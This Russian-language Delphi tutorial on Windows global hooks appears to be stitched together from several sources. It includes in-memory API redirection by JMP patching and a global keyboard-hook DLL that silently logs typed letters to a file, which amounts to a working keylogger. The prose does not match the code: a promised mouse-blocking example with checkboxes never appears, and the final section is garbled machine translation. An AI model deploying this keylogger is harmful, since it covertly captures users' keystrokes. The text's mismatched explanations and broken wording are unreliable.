Моя обзорная статья на тему вариантов использования динамически компонуемых библиотек (DLL) вызвала множество вопросов, большая часть которых касалась использования глобальных ловушек (Hook) и размещению разного рода ресурсов в DLL. О ресурсах поговорим в следующий раз, а пока попробуем разобраться с ловушками.

Сразу хочу сделать несколько оговорок: речь в дальнейшем пойдёт только о 32-х разрядной Windows и о глобальных ловушках, т.к. именно при их программировании возникает большинство ошибок; все примеры будут даваться на Delphi, т.к. примеров и описаний для любителей С++ достаточно.

 

Рано или поздно каждый программист сталкивается с таким понятим как ловушки. Чтобы приступить к ипользованию ловушек необходимо обзавестись windows SDK, который можно так же скачать с сайта Microsoft. В прилагаемом к статье архиве содержатся два проекта: hooks.dpr - это пример приложения работающего с ловушками, а hookdll.dpr - собственно сама DLL.

Что такое ловушки (Hooks)?

 

Code:

type

TSaveRedir = packed record

   Addr: Pointer;

   Bytes: array[0..4] of Byte;

end;

PSaveRedir = ^TSaveRedir;

 

procedure RedirectCall(FromAddr, ToAddr: Pointer; SaveRedir: PSaveRedir);

var

OldProtect: Cardinal;

NewCode: packed record

   JMP: Byte;

   Distance: Integer;

end;

begin

if not VirtualProtect(FromAddr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then

   RaiseLastWin32Error;

if Assigned(SaveRedir) then

begin

   SaveRedir^.Addr := FromAddr;

   Move(FromAddr^, SaveRedir^.Bytes, 5);

end;

NewCode.JMP := $E9;

NewCode.Distance := PChar(ToAddr) - PChar(FromAddr) - 5;

Move(NewCode, FromAddr^, 5);

if not VirtualProtect(FromAddr, 5, OldProtect, OldProtect) then

   RaiseLastWin32Error;

end;

 

procedure UndoRedirectCall(const SaveRedir: TSaveRedir);

var

OldProtect: Cardinal;

begin

if not VirtualProtect(SaveRedir.Addr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then

   RaiseLastWin32Error;

Move(SaveRedir.Bytes, SaveRedir.Addr^, 5);

if not VirtualProtect(SaveRedir.Addr, 5, OldProtect, OldProtect) then

   RaiseLastWin32Error;

end;

 

 

// Example: Replace Application.MessageBox with your own.

 

function MyNewMessageBox(Self: TApplication; const Text, Caption: PChar;

Flags: Longint): Integer;

begin

ShowMessage('New Messagebox');

//....

end;

 

procedure TForm1.Button1Click(Sender: TObject);

begin

Application.MessageBox('You`ll never see this Text /

   Diesen Text wirst du nie sehen', '...', MB_OK);

end;

 

var

S: TSaveRedir;

 

initialization

RedirectCall(@TApplication.MessageBox, @MyNewMessageBox, @S);

 

finalization

UndoRedirectCall(S);

 

 

Возможные вариации: Любые вопросы, связанные с постановкой хука. Например "Как отследить [что-то]", "Как подменить [какое-то действие]", "Как заблокировать комбинации клавиш, как заблокировать определённые действия", "Как не дать запускаться определённым приложениям, не дать открываться определённым окнам?", "Как получить список запущенных оконных приложений?" и т.д.

 

Рабочий пример глобальной блокировки правой кнопки мыши:

Для отслеживания каких-то событий во всей Windows нужно установить ловушку (hook). Например, такая ловушка может отслеживать все события, связанные с мышью, где бы ни находился курсор. Можно отслеживать и события клавиатуры.

Для ловушки нужна функция, которая, после установки ловушки при помощи SetWindowsHookEx, будет вызываться при каждом нужном событии. Эта функция получает всю информацию о событии. UnhookWindowsHookEx уничтожает ловушку.

Эта программа отслеживает все сообщения, связанные с мышью и клавиатурой. CheckBox1 показывает состояние левой клавиши мыши, CheckBox2 показывает состояние правой клавиши мыши, а CheckBox3 показывает, нажата ли какая-либо клавиша на клавиатуре.

  

EXE:

Code:

program Project2;

uses windows;

 

var

  sethook:procedure(flag:bool)stdcall;

  hDll:hModule;

 

begin

hDll:=LoadLibrary('Mouse_mes.dll');

@sethook:=GetProcAddress(hDll, 'sethook');

sethook(true);

messagebox(0,'Не закрывай, пока идет работа','',0);

sethook(false);

FreeLibrary(hDll);

end.

 

//  * Unit Name : HookDLL

//  * Purpose   : Демонстрационный пример хука и подмены API в приложениях...

//  * Author    : Александр (Rouse_) Багель

//  * Version   : 1.00

 

Код не маленький, посему вынесем отдельно

 

Что такое НООК?

НООК - это механизм перехвата сообщений, предоставляемый системой Microsoft Windows. Программист пишет специального вида функцию (НООК-функция), которая затем при помощи функции SetWindowsHookEx вставляется на верх стека НООК-функций системы. Ваша НООК-функция сама решает, передать ли ей сообщение в следующую НООК-функцию при помощи CallNextHookEx или нет.

 

Какие бывает НООК'и?

НООК бывают глобальные, контролирующие всю систему, так и локальные, ориентированные на какой-либо поток (Thread). Кроме того НООК различаются по типу перехватываемых сообщений (подробнее об этом - ниже). НООК несколько подтормаживают систему, поэтому ставить их рекомендуется только при необходимости, и кактолько необходимость в них отпадает - удалять.

 

 

Code:

library Hook;

uses Windows, SysUtils;

const KF_UP_MY = $40000000;

var CurrentHook: HHook;

   KeyArray: array[0..19] of char;

   KeyArrayPtr: integer;

   CurFile:text;

function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:

integer): longword; stdcall;

var

i:integer;

begin

if code< 0 then

  begin

    result:=CallNextHookEx(CurrentHook,code,wParam,lparam);

    Exit;

  end;

if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then

   begin

     KeyArray[KeyArrayPtr]:=char(wParam);

     KeyArrayPtr:=KeyArrayPtr+1;

     if KeyArrayPtr> 19 then

      begin

       for i:=0 to 19 do

       begin

         Assignfile(CurFile,'d:\log.txt');

         if fileexists('d:\log.txt')=false then rewrite(CurFile)

         else Append(CurFile);

         write(Curfile, KeyArray[i]);

         closefile(curfile);

       end;

       KeyArrayPtr:=0;

      end;

   end;

   CallNextHookEx(CurrentHook,code,wParam,lparam);

   result:=0;

end;

procedure SetupGlobalKeyBoardHook;

begin

CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);

KeyArrayptr:=0;

end;

procedure unhook;

begin

UnhookWindowshookEx(CurrentHook);

end;

 

exports

SetupGlobalKeyBoardHook, UnHook;

begin

end.

 

 

Взаимодействие процессов

Архитектура Win32 подразумевает максимальную изоляцию выполняющихся приложений друг от друга. Каждое приложение выполняется в своем виртуальном адресном пространстве, которое полностью обособлено и не имеет доступа к памяти других программ. Однако иногда возникает необходимость в передаче данных их одного выполняющегося процесса в другой. Рассмотрим подробно одну из таких задач, а затем основные способы связи между процессами и рекомендации по их применению.

 

Пишем перехватчик клавиатуры

** Что такое крюк? **

 

 Крюк-это точка в механизме обработки системных сообщений, где  приложение может установить подпрограмму для мониторинга трафика сообщений в

 системе и обрабатывать определенные типы Сообщений прежде, чем они достигнут целевой оконной процедуры.

 

 Чтобы использовать механизм окна крюк, программа вызывает функцию SetWindowsHookEx() API-интерфейс,  передача адреса процедуры hook, которая уведомляется, когда указанное

 событие происходит. SetWindowsHookEx() возвращает адрес ранее установленного  обработать процедуру для того же типа события. Этот адрес-это важно,

 потому что процедуры крючка такого же типа образуют своеобразную цепочку.  Windows уведомляет первую процедуру в цепочке при возникновении события,

 и каждая процедура отвечает за передачу уведомления.  Для этого процедура подключения должна вызвать CallNextHookEx() функции API,

 адрес прохождения предыдущей процедуры крюка.

 

 -- >Все системные крючки должны находиться в динамической библиотеке ссылок.

 

 ** Тип крюка, используемый в этом примере кода: **

 

 На WH_GETMESSAGE крючок позволяет приложение для мониторинга и перехвата Сообщений  о том, чтобы быть возвращены функции getmessage или PeekMessage функции.